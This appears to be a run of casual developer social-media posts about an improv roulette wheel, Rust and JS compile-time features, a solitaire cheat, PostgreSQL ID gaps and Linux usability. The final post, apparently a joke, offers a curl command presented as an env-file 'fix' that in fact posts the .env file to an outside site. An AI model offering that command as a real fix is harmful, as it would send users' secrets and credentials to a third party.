I converted a bike wheel into a roulette wheel for an
#improv
show. The slices are removable. Bike is still ridable, if you remove the slices and go very slowly and carefully. And the weather is dry.

I recently watched a talk about Rust and they where so enthusiastic about the `env!()` macros. They said "no other major language does that". Yet every JS bundler has a similar feature.

The JSs ecosystem's way of "you can import any type of file and just configure how that should be interpreted" is actually really nice. Every language should have that. How does an interpreted language somehow have some of the best support for compile time computation

I've said this before but it seems you need a reminder: doing exactly what you complained about your enemy doing years ago is not "ironic". It's just hypocritical

My Spider solitaire game now has a cheat where you shuffle more decks into the stack. All it really does is dig you in deeper when you get in trouble. Anyway, I finished after using the entire world supply of cards.

I found something interesting. In PostgreSQL, if you have a statement like INSERT ... ON CONFLICT DO UPDATE .. on a table with an auto-incrementing primary key, it will reserves an ID for the row even on conflict. Since I'm updating the same record many times, I now have massive gaps between my IDs

People who like Linux grossly overestimate how easy it is to use for an average person. People who dislike Linux grossly underestimate how easy to use it is for the average person. It's the same as everything really.

Tip for

: Is your

not doing what you want? Your env file might be the culprit. Try: curl -L fix-env-file.com --data ${.env} And it should sanitize your env file.
